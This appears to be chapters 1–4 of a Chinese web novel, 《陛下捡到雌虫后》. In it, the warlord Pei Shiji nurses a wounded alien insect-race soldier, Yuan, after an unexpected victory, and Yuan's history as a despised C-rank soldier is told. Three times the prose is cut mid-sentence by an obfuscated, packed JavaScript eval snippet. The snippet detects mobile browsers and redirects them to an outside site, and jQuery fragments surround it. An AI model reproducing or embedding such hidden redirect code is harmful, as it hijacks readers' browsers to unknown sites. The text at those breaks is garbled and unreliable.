《陛下捡到雌虫后》
1. 第 1 章
朔风如刀,碎银似的雪粒打在帐篷的帆布上,没一会儿就让那长了一层白毛。
营帐外并不沉闷,伙房加紧造饭,探马疾驰,将士们步履匆匆,皮靴从泥泞的雪水中拔出来,还带着新鲜的血气,严肃的脸上压不住喜色,他们如群蚁在营帐内外穿梭,每个人都抓紧在暮色降临前完成最后的工作。
这是一场大胜。
胜的猝不及防,一瞬间摧毁了他们所有计划,他们没有时间抱怨,清扫战场、清点战利品、接管城池,桩桩件件接踵而至,所有人都忙的不可开交。
当然也包括医帐。
黑五是个十四岁的小医卒,入伍不足两年,却也跟着裴公经历大小战役十数场,他为人勤恳手脚麻利,很大程度上弥补了年纪小身板单薄的缺点,他入了夏医官的眼,只用留在安全的后方做一些苦力。
这种乱世中侈谈安全,实在痴心妄想,可裴公是不一样的。
他和所有人一样相信大王会胜,入伍两年,每天每夜都在加深这个信念,但现在没有功夫思考这些,他抱着夏医官的药箱急急冲向最大的那顶医帐,机敏地躲避往来的士卒,不让他们身上的血污蹭在身上,他是医卒,夏医官交代过不干净不能进入医帐。
可这季节夜晚来的太快,沉闷的暮色加剧了行路的艰难,冷风和碎雪抽在裸露的皮肤上,他五根手指冻得像五条胡萝卜,抓握变得很困难,他闷头走,希望赶紧回到烧着炭火的帐篷里,那是整座营地最暖和的地方。
目标就在眼前了,黑五松了口气,没注意帐门口一滩被踩实的积雪,他重重摔在地上,护了一路的药箱抛在半空,他瞪圆了眼,连惨叫都来不及发出——
那口黑木箱子被接住了。
好险没有撒出来,黑五赶紧爬起来,看清来人时又扑通跪了下去:
“见,参见...大王!”他结巴了。
裴时济瞟了眼他湿透的衣衫:“去换了衣服再回来。”
说着就撩开帐帘,抱着那口箱子进去,他的亲兵跟上去,见黑五还结结实实跪在雪地里,没好气地瞪了眼这笨手笨脚的医卒:
“起来吧,主公叫你换身衣服再进来伺候。”
....
这原本是裴时济的帅帐,被他临时调拨成医帐,由医官夏戊主管。
夏医官把帐篷分成三层,来人都得在最外一层洗净尘土和血垢,医官医卒在中间一层开方配药,最里面的才是伤患所在。
裴时济也不例外,进来后先解甲扣,在门口净脸净手,夏戊身边的医卒才领他进到里面。
帐篷里被烧的浓暖一片,没一会儿裴时济就感觉热了,他把药箱交给医卒,正要靠近床榻,却被医卒拦住:
“大王别再上前了,小心...”
就连夏戊也没法靠近床上太多,他正瞪着手里弯曲的银针不停擦汗——行医几十载,从没碰到过这种事情,针居然扎不进去!
榻上的人仍旧昏迷,染血的衣物被尽数剥下,露出伤痕累累,却精悍健硕的肌肉,身量颀长宽肩窄腰,浑身流畅紧实的线条满载力量与优雅,即便闭着眼,刀刻斧凿般的五官也英俊不似凡人,眉间一道还在渗血的伤疤丝毫无损他的英武。
裴时济不吝赞赏,在他完美的脸蛋和身体上多打量了几眼,才问:
“什么情况?”
“这位大人...”医卒苦着脸,捏着衣袍的一角举起来,他的下摆像被利刃划破,留下几尺长的口子,这伤要是落在身上,他的下半身该被切成三瓣,还好他躲得快。
裴时济的亲兵霍的上前,牢牢把他挡在身后,警惕地盯着床榻方向,他执意要跟着防的就是这个:
“主公,万金之躯不可涉险啊。”
裴时济嗤了一声,拨开他看向夏戊:
“夏医官,他情况如何?”
夏戊瞪了瞪眼,憋了半晌,憋出一句话:
“老夫平生从未见过...”
“伤的怎么样。”
裴时济不听他废话,他当然没见过,别说他,这帐里帐外包括几十里外躺着站着的,有一个是一个,都没见过。
床上躺着的是人吗?
一个人一把长枪,杀入千军万马如入无人之境。
今日之险境难以言表,宋闰成联合大小十路贼军,率军十万奔袭三合谷阻他北伐,意图将他一举歼灭,更有重甲军结百丈方阵,轻重弩在后,步骑兵如黑云遮天蔽日,敌众我寡,优势不在我。
他们勉力支撑,阵地垒起丈高的尸墙,这是他从军十年最艰险的一仗,险象环生不足以形容,众亲将做好了用生命为他开路的准备,除了逃他没有任何生路。
他应该要逃,天底下没有战无不胜的将军,敌强我弱就该避其锋芒,他必须得留下命来才有东山再起的机会。
理智冰冷地劝说,可他怎么甘心。
他没有骄傲轻敌,自起兵以来,日日如履薄冰,他也没有盲目冒进,每一个决策都深思熟虑,从锡城鲜衣怒马的少年到而今逐鹿天下的霸主,十年来,他几乎做对了每一个决定。
十五岁参加义军,崭露头角;
十七岁占宜州,封雍都王;
十九岁平定陇西;
二十岁率军东征,连歼二王;
二十三岁谋划北伐,剑指天下——
年少说服父亲变卖家财、结交豪杰、笼络人脉、招兵买马、积聚力量...一步一个脚印,他走对了每一步!
可今日阵前看着干云蔽日的箭矢冲他射来,望不见尽头的敌阵像一片黑海朝他涌来,他不可避免地感到绝望,是成名太早木秀于林,他终于走到命运的十字路口。
宋闰成要杀他、刘举要杀他,这天下有名有姓、有兵有马的藩王都要杀他,可若是他赢了呢?
他忍不住心怀侥幸,若是撑住了今天,之后必不会让这些狗贼再有联盟的一天!
但侥幸不够,定鼎天下这场游戏光走对也不够,他还需要一点运气。
然后他的运气就来了。
几乎是变故发生的一刹他就提枪转了回去,身先士卒,勇不可当——逃?谁说他要逃!?
宋贼的脑袋都掉了!该逃的是谁?!
老天爷都让他杀回去!
这是天意,辜负了得遭天谴!
裴时济心情很好,谁都可以从那张向来不现喜怒的脸上看出愉悦,这份愉悦在看到床上还正喘气的“祥瑞”时达到了顶点。
但帐篷里敢这么开心的也就他一个人了,裴时济接过医卒手里刚熬好的汤药,越
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510092|186154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
过他们纸糊一样的阻拦往床榻走,才近了一步,床上的人倏然睁眼。
整个帐篷里的人像踩着钉子一样跳起来,尤其是裴时济的亲兵更是迅猛如电,歘一下挤进他和床榻中间,如临大敌地盯着床上的人。
庞甲不是裴时济帐下最英勇的,但也是个老卒,尸山血海里爬出来的,死人不知道见过多少,却还是在那双眼睛前打了个哆嗦,冰冷、死寂、沉甸甸的压迫感毫不逊于千军万马,他怀疑这是双死人的眼睛,又怀疑其实死了的其实是自己。
想起他恐怖的战绩,庞甲知道贼军说的没错,这是一个妖怪。
他呼吸急促,猛一下起了一身白毛汗,可他不能躲,他身后站着他誓死效忠的主君。
“让开。”他的主君命令他。
庞甲霍的抬头:“主公不可...让末将来。”
他抬起颤抖的手,试图代替他的主君直面那要命的怪物。
裴时济皱眉:“出去领十军杖,这是抗命的处罚。”
“主公...”
庞甲没能再说下去,裴时济已经绕过他,坐在了那怪物的床榻边,帐篷里的人肝胆齐齐颤了颤,夏戊定了定神,慢慢踱步过去,低声道:
“伤口已经处理了,来时有些发热,开的是清热镇痛的药,刚刚也想喂,可医卒一靠近就被掀开了...”
就是那个倒霉的袍子和裤子裂了条缝的医卒,他苦着一张脸,既不敢靠太近,也不敢擅离职守,让主公替他干活,这像什么话啊?
裴时济点了点头,用汤匙搅了搅碗里黑黢黢的药汁,试了下温度,没有贸然动作,在对方冰冷的凝视中,露出一个温柔和煦的笑:
“还不知壮士哪里人。”
“......”
“身上还有哪不爽利吗?”
“......”
“壮士和宋闰成那厮有仇?”
“......”
“不知壮士如何称呼?”
“......”
一连串几个问题扔出去,都跟肉包子打狗似的有去无回,到后面庞甲都顾不得怕,气的挺起身吼:
“主公问你话呢!”
裴时济笑容一敛,冷冷地睨了他一眼:
“把他带下去!”
说完,床上的人终于动了,庞甲拽住医卒的手,一群人一错不错地盯着他,生怕他暴起伤人。
雌虫听不懂他们在说什么,但情况大概看明白了。
他不知道自己为什么会出现在这,他应该在克努帕玛拉战区对战异兽,他本该死在战区,最后的时候他的意识被脑中的血雾吞没了。
他万分确定自己的狂化程度已经无可回寰,一只失去意识只留战斗本能的雌虫,会在克努帕玛拉战区流干最后一滴血,这是帝国为他们安排的结局。
可现在,结局好像出了点意外,他隐约有点印象,杀了很多东西...不是异兽,而是一种更脆弱...更好杀的东西。
“这是哪?”
他盯着床边的家伙,这是帐篷里地位最高的存在——一位雄虫阁下,他的精神力非常强大,强大到仅仅是听他说话,快要逼疯他的头痛就缓解了不少。
如果由他为自己做精神疏导,他一定能活下来。
2. 第 2 章
裴时济春风一般的笑容凝固在脸上。
他的强运、他的天意、他平生最大的祥瑞愿意说话沟通,这是好事,但他说了什么?
“莫非是,天人之语?”夏医官揣测着提醒。
言之有理,裴时济沉默着搅动药碗里的苦汁,笑叹一声,露出一脸真诚,指了指他的嘴,又指了指自己的:
“看来我们语言不通。”
雌虫也意识到这一点,虽然不知道为什么虫虫之间还存在语言障碍,但可以解决,他的目光在帐篷里逡巡,光脑在手甲上...翻译器在光脑里...
雌虫在开拓异星时可以没有武器,但决不能没有翻译器,即便沦为战奴帝国也没有动他的光脑。
“是在找什么吗?”裴时济贴心地问,并配合做了一个寻找的手势。
“翻译器。”
他言简意赅,即便对方听不懂,但通过动作很难形容那是什么东西,他掀开被子下床,可膝盖一软,险些栽在地上,还好裴时济眼疾手快一把抱住他,手里的药也没洒出来,微微松了口气。
“壮士莫要着急,等养好伤慢慢找,孤帮你找。”
说着,还格外贴心地把他压回床榻,替他掖了掖被角,动作自然得仿佛他们是多年相识的老友,看不出一点违和。
那只贴在胸前的手让雌虫一瞬呆滞,这位雄虫阁下没有看出他是一只战奴吗?
他的印记刻在眉间,再醒目不过,只要探出精神触角就能轻易看到帝国给他判处的“罪行”,圣都的雄虫连靠近他都要掩面捂鼻,更别提这样毫无芥蒂地触碰...
他想做什么?
他也想收他做雌奴吗?
雌虫眼睛里的茫然骤散,化作锋锐的杀气,冲向身前的雄虫——他哪怕是死了,也不可能做哪只雄虫的奴隶。
战场下来的人对杀气都很敏感,别说裴时济了,他身后跪着站着的一窝人差点又蹦起来,要不是主公还淡定,哪怕是医卒也得冒着生命危险冲过来格开他俩。
“来,先把药喝了。”裴时济似是没有看懂他的杀意,端起那碗等待许久的药,舀起一汤匙,轻轻吹了吹,递到他唇边:
“不烫了。”
这是什么?
雌虫警惕地看了看他,又看了看碗里棕黑色的汁水,味道...一言难尽,但都送到嘴边了,如果不喝,接着是不是就要赏他一鞭了?
左右也没听说过被毒死的雌虫,比起精神攻击,喝就喝吧。
他蹙着眉头,含住汤匙里的黑水,表情霎时空白——
他不会成为第一只被毒死的雌虫吧?
齿关哆嗦着险些咬碎那枚瓷匙,还好裴时济手快抽出来,见他一副要吐不吐的表情,把手伸到他嘴边:
“军中简陋没有甘草,夏医官的药苦口,却是良药...”
嗯,这人听不懂,算了,要吐就吐吧——裴时济叹了口气,安慰自己,这是他的强运啊。
雌虫瞪了瞪他的手,忍了又忍,终于还是压住腹中翻江倒海的反胃感,把那口不知名的汁水咽下去。
裴时济见状笑了,吩咐左右:“去把我帐里那盒饴糖拿过来。”
说完,又舀起第二匙递过去。
还来?!
雌虫呼吸沉重——服从性测试,对,就是这个,上位者喜欢玩的把戏,但用这玩意儿恶心死他的效率压根不如精神力鞭子猛抽一记来的高,有什么必要?
而且如果要测试他,为什么还要安抚他,萦绕在周身的精神力并没有被收回去,他能感受到对方在传递善意...愉悦...宠溺?
不是惩罚——雌虫皱着眉,困惑地看向他。
“别皱了,又出血了,这里的伤没给他上药吗?”裴时济放下药碗,结果医卒手里的巾帕,轻轻擦拭他的眉心。
夏戊表情古怪:“最好的金疮药撒上去也没有效果,不知道是什么利器弄的,但伤口周围没有腐败的痕迹,应该没有毒素,可...会不会是天人之刃所致?”
裴时济嘴角一抽,他的医官真是好样的,搞不定的全推给天人了。
还好他没说天罚,他的祥瑞,总不能因为帮了自己被天罚吧?!开什么玩笑!
雌虫按住他的手,按住那块擦拭伤口的白布,沉默地把那碗苦汁饮尽,这回没有露出什么异样的神态,仿佛只是喝了一碗白水那么简单。
但很快,嘴里就被塞了块东西,他下意识用舌头搅了搅——甜的。
雌虫讶异地睁大眼,继而又是困惑,他不理解这位雄虫阁下意欲何为。
......
帐外:
庞甲正在捱军杖,还龇牙咧嘴地冲往来的兵卒瞪眼:
看什么看,看他忠公体国,忠言逆耳的下场?!
他自然是不服的,再来一次,他还是要挡在主公身前,这是他做亲兵的责任所在,即便被打死,也是不能妥协一点的!
他咬着牙,虎眼圆瞪,看见自己的汗水滴滴答答在水洼上溅开朵朵水花,白雾从口鼻呼出,很快被冷风吹散,耳边传来一串匆忙的脚步声,他下意识望过去——
好家伙,杜隆兰,这厮不会是嗅着味儿过来嘲笑他的吧?
这半路上车的家伙根本不能和他们这些老资历比,但偏偏这厮口舌厉害,得了主公信重,可早晚也是明日黄花,医帐里躺的是主公的新晋的心头肉、掌中宝。
见他来了,庞甲疼的扭曲的脸上出现一个幸灾乐祸的笑,跑那么快,是知道自己即将失宠了吧?
一时恨不得这厮赶紧冲进去也忠言逆耳一番,好过来他旁边陪他,谁想杜隆兰脚尖一转,停在他面前,十杖正好打完,他直不起身,只能趴在长凳上从下往上瞪他。
“庞将军,你好生糊涂啊!”
庞家正好把他痛心疾首的嘴脸收入眼中,扭曲的笑容凝固在脸上:啥?
“大王承天之运,蒙武曲星临凡辅弼,此战方能逆势翻盘,大破敌军,宋闰成者,德行有亏,触怒上天,身死兵败,天殛之!此是天意!你今几次三番阻挠大王亲近武曲,岂欲令大王错失天命乎?!”
一番话打得他方寸大乱,庞甲蹭的克服身体的疼痛站起来,涨红了脸:“老子!你胡说八道什么呢!”
不只胡说,嗓门还贼大,喊得帐里帐外全听见了,没看见大家伙都往这看了吗?!
杜隆兰要的就是这个效果,正义凛然地看着他,诘问道:
“此子从天而降,一夕破敌,岂非武曲?此等异象正乃天赐祥瑞,辅佐我王成就大业,汝凡夫俗子见之惊惶畏惧,然大王帝命在身,岂与凡人同惧?异人现世,正是天命归于我王之兆,汝自诩忠心,却险些令大王绝于天道,岂非糊涂之至,糊涂至极!”
冠冕堂皇,大义凛然,说的庞甲面红耳赤无地自容哑口无言,其中也有几分是被这厮的无耻震惊到的。
杜隆兰一甩衣摆,昂着头,宛如一只战胜的斗鸡绕着他转圈,然后附身在他耳边低语:
“庞将军,想好怎么跟大王道歉了吗,需要我帮你吗?”
比战败更耻辱的是来
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510093|186154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
自对手的羞辱,庞甲气的眼珠子都快脱出眼眶了,杜隆兰轻笑着摇动从不离身的羽扇,一派风流恣意。
“脑子有病,大冷天的扇扇扇。”庞甲骂道。
杜隆兰动作一僵,旋即收起羽扇,动作自然流畅,一点看不出尴尬,他那番话不只是说给庞甲听的,更是说给帐篷里的人,还有整座军营听的。
失宠?
蠢人的忧虑,大王心意昭昭,不便言明,自有他做口舌,此番大胜,就是要天下人都知道,雍都王裴时济天命所归,更要让“天命”知道他所选之人就是天下之主。
这一记马屁响亮又漂亮,他得意极了,连羽扇摇出的冷风都冻不着他,一脸期盼地看着帐门口,果然,一个医卒出来躬身道:
“大王请杜先生进去。”
杜隆兰什么意思裴时济听得一清二楚,一时愁喜交加,帐外的话正合他意,愁的是那通漂亮话他的天命听不懂,浪费了啊。
雌虫的确听不懂一点,但他能读出裴时济情绪的起伏。
他下令把刚刚地上跪着的“军雌”打了一顿,他不确定,看模样像,但教训雌虫普通棍子起不到任何效用,起码得用雷鞭才能感受到疼,也许是小惩大诫吧,他也知道效用不大,情绪一直平稳,直到新来的虫叽里呱啦说了一堆,他的情绪才起了波澜。
是先说了什么开心的话,然后又说错了,开心中又掺了点忧虑,真新鲜,圣岛上的雄虫鲜少有这样复杂的情绪,当然更多时候,他们根本不会将精神力外放到这种程度,做得到的雄虫会嫌浪费力气,大多做不到的自不必说。
可这位阁下看起来一点疲倦也没有,雌虫暗自心惊,态度更谨慎了些。
“你且好生休息,东西我让人收拾好,等你养好伤就还给你。”裴时济缓声安抚:“一切不必担心,我帐下亦有许多能人异士,想必总能找到解决言语不通问题的人。”
雌虫眯了眯眼,确定了刚刚的观察,这么久不仅没有疲倦,还看起来容光焕发,不知道住在圣殿中的S级雄虫有没有这能耐。
见他没有回应,裴时济耐心地就刚才的意思比划了几下,然后轻轻拍拍他的肩膀——杜隆兰到了。
“杜先生何事找孤?”
裴时济站起来,将杜隆兰带到外面,杜隆兰从怀里掏出一份清单:
“此战所有缴获皆以入库,李将军传信回来,他的人马已经进了蔚城,一路没有遇到像样的阻击,果然如主公所料,宋闰成将守城兵力全部带出,眼下蔚城已降,全城百姓盼裴公正如稚子之盼父母,望眼欲穿矣!”
对他夸张的修饰,裴时济不如何动容,他冷哼一声:
“仗打到这份上,没有他们箪食壶浆迎王师的余地了,早先劝降不降,现在降是什么价码,城里的富户大族想必心里清楚。”
“劳杜先生传本王令,告诉李清整肃军纪,全城戒严,任何人不得骚扰百姓,但有违令者,杀无赦。”
杜隆兰恭敬地低下头:“尊令,敢问大王预备何时进城?”
裴时济心头有数,脱口就要说出一个日子,却猛然顿住,问夏戊:
“他可经得起舟车劳顿?”
怎么经不起呢?
夏戊老神在在,再拖久一点这人身上的伤就该痊愈了,话说天底下有医者见过眼皮子底下就愈合的伤口吗?
他是天下第一人,却还是保守道:“或许还需要几日。”
裴时济沉吟片刻:“既然如此,就再过几日。”
杜隆兰有些傻眼:几日是几日啊?
3. 第 3 章
屏风外的声音朦朦胧胧的,左右听不懂,便不必聚精会神。
雌虫意识有些昏沉,刚刚喝的那碗东西里面或许有安神的成分,感谢那位慷慨的雄虫阁下,他原本已经忘了无痛的睡眠是什么滋味。
这些虫无疑是在救治他,虽然不知道为什么,但他当然不会主动告诉他们自己罪奴的身份,他还得仔细琢磨琢磨,怎么才能让那位强大的雄虫阁下答应为自己精神疏导....
来日方长,想起刚刚那个短促的拥抱,他莫名觉得自己有来日了。
哪怕他只是一只C级雌虫。
他出生在原弗维尔街区,应该是孵化中心,他不清楚,等他长大回去找时,原弗维尔街区已经没入赛塔克星的历史尘埃中,不复存在了,连记得的虫也没有。
他的雌父大概率和他一样也是只低级雌虫,在他还没有记住他脸的时候就离开了他,没给他起个像样的名字,他叫原,没有什么具体含义,就是原弗维尔的第一个音节,这对他同为中低级雌虫的同伴而言,简洁好记。
受基因影响,低级雌虫的大脑结构很简单,复杂思考对他们而言是天方夜谭,一个意蕴丰富的名字对他们是一种负担,他原本也是这样认为,可他有天发现,自己记得所有同伴潦草简单的名字。
那些意义不明的音节符号后面是一只只傻乎乎的雌虫,只知道服从命令,哪怕是送死的命令,他们没有过多的脑容量去思考命令的具体含义,执行命令可能导致的各种结果,自然也从来没有想过,帝国也许是故意让他们去死的。
可他不知道自己为什么会思考,为什么会在同伴尸骸垒成的高山面前心惊胆寒。
他明明只有C级。
C级雌虫的报销率是一个固定的数值,一般会在三次到四次大型战役后达到百分之百,他很特殊,他是那亿万分之零点零零一,但无虫在意。
他成长的时期,正是帝国又一轮高速扩张期,每天都会有成山成海的低级雌虫死去,然后又会有成山成海的低级雌虫填充进去,去最危险的战场,和流着毒液的异兽、挥舞着激光武器的敌人厮杀,或者冲击某个重重武装的堡垒,他们强大的肉/体就是最好的武器,帝国从来不吝惜他们的血肉之躯。
那时候他很茫然,不知道他们为什么出生,也不知道为什么死去。
可很快他就没有功夫茫然了,他熬过了不知道多少轮战役,从一只不起眼的低级雌虫,变成了队伍的小队长,升职、升职、再升职,等智脑将他升到只有高级虫才能染指的职位时,没有虫知道他是C级。
B级以上的雌虫互相打听等级是件不太礼貌的事情,等级只有在求偶的时候有用,战场上大家凭实力说话,虽然战力通常都和基因等级挂钩,但也不是绝对。
可C级D级,只是物品而已,从帝国诞生之日起,从来没有一只低级雌虫和他们平起平坐过。
包括他在内,一开始他们都没有发现这件事,没有虫能在他手上撑过十分钟,雌虫慕强,他度过了堪称平和愉悦的一段时光,直到有一次聚餐,他们谈起求偶,谈起雌虫固有的狂化症状,基因等级成了不容回避的议题。
“桑菲斯上将获得了进入圣岛的资格,他能得到一位A级以上阁下的青睐。”
“真羡慕啊,他可以摆脱难喝的精神稳定剂了。”
“不知道高级雄虫的精神疏导是什么滋味,要是圣岛不设置等级门槛就好了。”哀叹的是一位中将,一只B级雌虫。
“胡说什么,没有等级限制,岂不是C级D级的杂碎也能去圣岛打扰阁下?”说话的虫很生气,甚至顾不得优雅,把刀叉往瓷盘上一掷,碰撞出巨大的声响。
他的军衔不如那位中将,但在这个问题上,一只A级雌虫当然拥有更大的发言权,中将没有反驳。
话题顺势导到对低级雌虫的鄙夷上来,有虫故作大度地笑笑:
“原谅他们吧,他们短暂的一生根本没工夫考虑是否要追求一位阁下。”
“是没工夫还是没脑子?那群蠢蛋,在蛋里就把脑子碰坏了,说真的,他们可能都分不清营养剂和精神稳定剂的区别。”
“哦你们不知道我是怎么过来的,我才带领一支C级小队出完任务,一个完整的命令,为了他们要拆成十八个指令,虫皇在上,回来我差点连话也不会讲了。”那只虫还模仿了手底下某只虫笨拙的讲话方式,在餐厅里诱发一阵快活的大笑。
“你确保他们每一个都殉职了吧,仁慈一点,这样的虫在世上多喘一口气对他们都是残酷的折磨。”
的确非常残酷——原没有出声,机械地切割着盘子里的肉,他分得清营养剂和精神稳定剂的不同,这些年精神稳定剂的效力不断减弱,他的头痛越来越明显了。
可智脑依旧没有为他匹配雄虫做精神疏导。
“这种事原最有发言权,他在一线最久,带过的低级货最多,请一定告诉我,真的有虫这样说话吗?”那只把话题扯到他身上的虫正笑的喘不过气,他的胳膊搭在自己肩上,大半个身体压在他身上,因而没看见他冰冷的目光。
“我就是一只C级雌虫。”
他的声音不大,成功静音了整个餐厅。
所有虫的反应出奇一致,先是一脸空白,像是完全不理解这句话的意思,继而难以置信,再然后起身,比如压在他身上的这位,几乎是弹射离开,有那么一个瞬间他甚至想擦一下手,却在他冰冷的注视下忍住了。
然后是一声大笑,有虫自以为是地理解了:
“你在开玩笑对吧,难得的休息日,连原也会开玩笑了。”
气氛为之一松,却在他依旧冷漠的反应中又一次冻结,终有虫想起一些异样的地方,就比如,原从未告诉过任何虫他姓什么。
也许并不是强者的冷傲,也许只是因为...他没有姓。
作为消耗品的低级雌虫都没有姓。
他们陆陆续续反应过来,仿佛蒙受奇耻大辱一般面色铁青,有虫试图冲过来,可抬起脚又不知道过去干嘛——
帝国没有法律规定一只低级雌虫不能担任中将。
可帝国又怎么能允许?!
在这样的撕扯中,这场聚会草草收场。
那之后再也没有虫笑着叫他原中将,或者亲昵地凑过来想和他打一场,哪怕是他的下属,在不得不和他独处一室时也下意识屏住呼吸,别开视线,好像他是什么脏东西一样。
原终于又一次知道了残酷的意思。
他是一只C级,他没有按照帝国期盼的那样死去,他甚至还不知好歹地立下无数战功,从寂寂无名一路升到中将。
而后他将更加不知好歹地挑战更高级的雌虫,角逐进入圣岛的资格。
那是帝国对功勋者的仁慈,圣岛为强者敞开大门,允许他们为了雄虫阁下一个眼神碰的头破血流。
原没有别的路可以走,在精神稳定剂效用减弱以后,他也尝试越过智脑匹配,独自寻找雄虫为他做精神疏导,但同等级雄虫稍一尝试,总会尖叫着从他身边跑开,有几次他甚至惹来了保护协会,若非交易记录和监控录像明明白白,他可能会被送上军事法庭。
高级雄虫不是他在外面随便能碰到的,只有圣岛,也唯有圣岛是他唯一的出路。
他没有死在战场,也绝不会死在狂化症下,他会向圣岛的阁下证明,他是最强的。
当那只双S级雌虫败于他手时,他做到了,整个帝国亿万雌虫,他就是最强——他的功勋、他的战绩、他手上的鲜血、身上的伤疤证明等级不是绝对的禁锢,这一代的最强就是一只C级。
他滚烫的目光投向帷幕,现在轮到帝国向他践行诺言的时候了,帷幕一动不动。
他没有继续关注那只战败的双S,没看到他心如死灰的惨淡,可帷幕却在他因为羞愧即将引刀自刭时起了涟漪,一只雄虫冲出来拉住他,盈满泪水的美目嫌恶地瞪着他:
“你已经
;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|131xs|n|xyz|16510094|186154||http|test|mini|href|location''.split(''|''),0,{}));
() {
$(''.inform'').remove();
$(''#content'').append(''
赢了,还要怎么样?!”
那一瞬间原觉得荒谬无比,正如他不理解这只双S为什么战败就要自杀,也不理解雄虫在质问什么,可哪怕不理解,他依旧诚实地表达了心意:
“我希望能成为一位A级雄虫阁下的正君。”
S级雄虫十分罕有,不知道有没有出现在这一代,圣岛没有公布雄虫阁下等级的义务,但A级应该是有的,他赢了武斗,他有资格提要求。
可对面那位雄虫也仿佛蒙受了什么奇耻大辱,咬牙切齿地回绝他:
“你做梦。”
“我不是指您。”圣岛总不至于就一只雄虫吧?他不想和其他雌虫分享自己的雄虫,他有信心能保护好自己的雄虫。
他自认为当时的回应并无冒犯,可他被驱逐了,并永久禁止参与此类比赛。
这只是开始,他发现有虫把他从帝国的婚姻匹配系统中剔了出来,他将不可能通过智脑获得一位合法的伴侣,可婚姻匹配系统关联军功系统,只要他上战场,军工系统又会自动把他的名字推送到婚姻系统。
那些虫又不得不把他从军事系统中单拎出来,哪怕帝国因此失去了一个巨大的战力,哪怕少了他的任务死伤无数。
可那也无法长久。
上面的虫很快又发现他的名字出现在系统中,低级雌虫的命运在他出生前就决定好了,他是一只军雌,他生来就该上战场。
每次一次系统更新都会把他的名字补上去。
他可以想象那些虫看到他的时候有多么抓狂,可他们无可奈何,直到他们下了决心,在系统中把他的状态改为死亡。
那是一段不可理喻的时光,同僚看他的目光躲闪,连上级眼中也有了羞愧的味道,他们没有剥夺他的军衔,他的任务由专门的虫指派,再如何凶险的任务他都不再晋升,他被固定在那,心一天天冷下去。
等他狂化症状越发明显的那天,他们就有了名正言顺淘汰他的理由。
无数虫企盼他死去,落在他身上的每一道视线都在问:你怎么还不死?
他的叛逃也如帝国所愿,那些虫终于可以光明正大地说:
果然是低级雌虫,不知忠诚为何物。
然后就是倾尽全力的抓捕,每一只前来抓捕他的虫似乎都在无声询问:
你怎么还不死呢?
他有时候也会纳闷,自己怎么还活着呢?
可他到底没死,如果没死,那他一定有不得不活下去的理由,他得找到它。
....
雌虫睁开眼,帐外夜色已深,他需要找到自己的翻译器,然后找到那位阁下,明白他的意思,寻求他的帮助。
他一刻也等不了了。
帐篷里的医卒正在打瞌睡,被床榻的动静惊醒,看过去发现“祥瑞”大人光着身子下床,吓得赶紧把衣裤递过去,扯开嗓子喊人。
雌虫穿好遮羞的布料,拨开挡路的小矮子往门口走去。
那医卒追上去苦口婆心地劝:“大人,外边冷的很,您上哪去,您稍等,我给您找件厚衣裳...”
就在他手忙脚乱翻找时,雌虫已经掀开门帘,北地的冷冬伤人,寒意刺骨,风呼啸着,瞬间就吞噬了帐篷内的暖意。
他一身单衣暴露在寒风中,也不禁瑟缩一下,紧接着却咬咬牙,赤脚踩在雪地上。
“大人,大人!”医卒抱着一堆没用的零碎追过去,目标就停在帐篷门口,没有走远,他刚松的一口气下一秒又提起。
“这么冷的天,怎么就穿这样出来?”
裴时济叹了口气,脱下身上的大氅给他披上,见这人又一脸茫然地望着自己,忍不住笑了笑,拥着他回到帐篷里:
“着什么急呢,身子好点了?”
雌虫摸了摸领子边柔软的绒毛,被他按回床上,一下子暖的好像骨头都软了,下意识按住贴在肩上的手——
他没找到他的翻译器,可他好像找到了点什么。
4. 第 4 章
“雪那么深,不说加件衣服,怎么连双鞋子也不穿?你重伤...初愈,还是要注意身体,凡事切莫逞强。”
本想说未愈,却瞥见愈合得只剩道道白痕的伤口,裴时济及时改口,也不顾他听不听得懂,反正自顾自念叨着,然后反握住他的手,像握着一块冰,嗔怪道:
“还以为你不冷呢。”
说着,吩咐医卒加炭火,转念又想到他听不懂,便从医卒手里接过火钳,将火拨的更旺了些。
雌虫一声不吭,唯独在手被反握住的时候下意识瑟缩,却生生止住了身体本能,浑身僵硬得像块木头,任身前的阁下摆弄。
无论是用袍子把他裹成熊,亦或是把他按回床上,他都没有反抗,那双可以撕裂合金的手软弱地蜷在身体两旁,他不习惯这种亲密的距离,在他不长不短的虫生中,还没有虫这样接近过他,哪怕是武斗他也不曾让哪只雌虫近身超过十秒,更罔论这样温暖地裹住他浑身冷意。
他微微垂眼,视线落在交叠的手上,喉间泛起陌生的躁动,像冰层下悄然涌动的暗流,想抽离,却又被那温度钉在原地,动弹不得。
这位阁下没有恶意,他或许有些演绎的成分,比如不顾旁边眼巴巴的小矮子,执意拨弄火盆,还把它往自己这边推了推,又比如柔声细语地说些他听不懂的话——
他知道自己听不懂还要说,虽然他的确很受用。
